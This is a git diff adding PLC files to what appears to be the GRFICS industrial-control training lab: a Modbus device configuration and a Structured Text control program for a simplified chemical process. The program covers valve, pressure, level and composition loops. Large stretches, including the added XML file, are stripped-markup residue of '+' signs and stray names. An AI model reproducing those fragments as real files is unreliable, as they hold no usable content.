+ + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + run_bit + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_sp + + + + + + + 0 + + + + + + + 65535 + + + + + + + 65535 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/mbconfig.cfg b/plc/GRFICS_Workstation_Docs/Documents/mbconfig.cfg new file mode 100644 index 0000000..c4103e8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/mbconfig.cfg @@ -0,0 +1,115 @@ +Num_Devices = "6" + +# Device 0 +device0.name = "feed 1" +device0.protocol = "TCP" +device0.slave_id = "247" +device0.address = "192.168.95.10" +device0.IP_Port = "502" +device0.RTU_Baud_Rate = "" +device0.RTU_Parity = "" +device0.RTU_Data_Bits = "" +device0.RTU_Stop_Bits = "" +device0.Discrete_Inputs_Start = "0" +device0.Discrete_Inputs_Size = "0" +device0.Coils_Start = "0" +device0.Coils_Size = "0" +device0.Input_Registers_Start = "1" +device0.Input_Registers_Size = "2" +device0.Holding_Registers_Start = "1" +device0.Holding_Registers_Size = "1" + +# Device 1 +device1.name = "feed 2" +device1.protocol = "TCP" +device1.slave_id = "247" +device1.address = "192.168.95.11" +device1.IP_Port = "502" +device1.RTU_Baud_Rate = "" +device1.RTU_Parity = "" +device1.RTU_Data_Bits = "" +device1.RTU_Stop_Bits = "" +device1.Discrete_Inputs_Start = "0" +device1.Discrete_Inputs_Size = "0" +device1.Coils_Start = "0" +device1.Coils_Size = "0" +device1.Input_Registers_Start = "1" +device1.Input_Registers_Size = "2" +device1.Holding_Registers_Start = "1" +device1.Holding_Registers_Size = "1" + +# Device 2 +device2.name = "purge" +device2.protocol = "TCP" +device2.slave_id = "247" +device2.address = "192.168.95.12" +device2.IP_Port = "502" +device2.RTU_Baud_Rate = "" +device2.RTU_Parity = "" +device2.RTU_Data_Bits = "" +device2.RTU_Stop_Bits = "" +device2.Discrete_Inputs_Start = "0" +device2.Discrete_Inputs_Size = "0" +device2.Coils_Start = "0" +device2.Coils_Size = "0" +device2.Input_Registers_Start = "1" +device2.Input_Registers_Size = "2" +device2.Holding_Registers_Start = "1" +device2.Holding_Registers_Size = "1" + +# Device 3 +device3.name = "product" +device3.protocol = "TCP" +device3.slave_id = "247" +device3.address = "192.168.95.13" +device3.IP_Port = "502" +device3.RTU_Baud_Rate = "" +device3.RTU_Parity = "" +device3.RTU_Data_Bits = "" +device3.RTU_Stop_Bits = "" +device3.Discrete_Inputs_Start = "0" +device3.Discrete_Inputs_Size = "0" +device3.Coils_Start = "0" +device3.Coils_Size = "0" +device3.Input_Registers_Start = "1" +device3.Input_Registers_Size = "2" +device3.Holding_Registers_Start = "1" +device3.Holding_Registers_Size = "1" + +# Device 4 +device4.name = "tank" +device4.protocol = "TCP" +device4.slave_id = "247" +device4.address = "192.168.95.14" +device4.IP_Port = "502" +device4.RTU_Baud_Rate = "" +device4.RTU_Parity = "" +device4.RTU_Data_Bits = "" +device4.RTU_Stop_Bits = "" +device4.Discrete_Inputs_Start = "0" +device4.Discrete_Inputs_Size = "0" +device4.Coils_Start = "0" +device4.Coils_Size = "0" +device4.Input_Registers_Start = "1" +device4.Input_Registers_Size = "2" +device4.Holding_Registers_Start = "0" +device4.Holding_Registers_Size = "0" + +# Device 5 +device5.name = "analyzer" +device5.protocol = "TCP" +device5.slave_id = "247" +device5.address = "192.168.95.15" +device5.IP_Port = "502" +device5.RTU_Baud_Rate = "" +device5.RTU_Parity = "" +device5.RTU_Data_Bits = "" +device5.RTU_Stop_Bits = "" +device5.Discrete_Inputs_Start = "0" +device5.Discrete_Inputs_Size = "0" +device5.Coils_Start = "0" +device5.Coils_Size = "0" +device5.Input_Registers_Start = "1" +device5.Input_Registers_Size = "3" +device5.Holding_Registers_Start = "0" +device5.Holding_Registers_Size = "0" diff --git a/plc/GRFICS_Workstation_Docs/Documents/simplified_te.st b/plc/GRFICS_Workstation_Docs/Documents/simplified_te.st new file mode 100644 index 0000000..02d6438 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/simplified_te.st @@ -0,0 +1,480 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + run_bit0 := NOT(run_bit); + MOVE99_OUT := MOVE(EN := NOT(run_bit0), IN := 0, ENO => MOVE99_ENO); + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/simplified_te.xml b/plc/GRFICS_Workstation_Docs/Documents/simplified_te.xml new file mode 100644 index 0000000..6d8212b --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/simplified_te.xml @@ -0,0 +1,5332 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 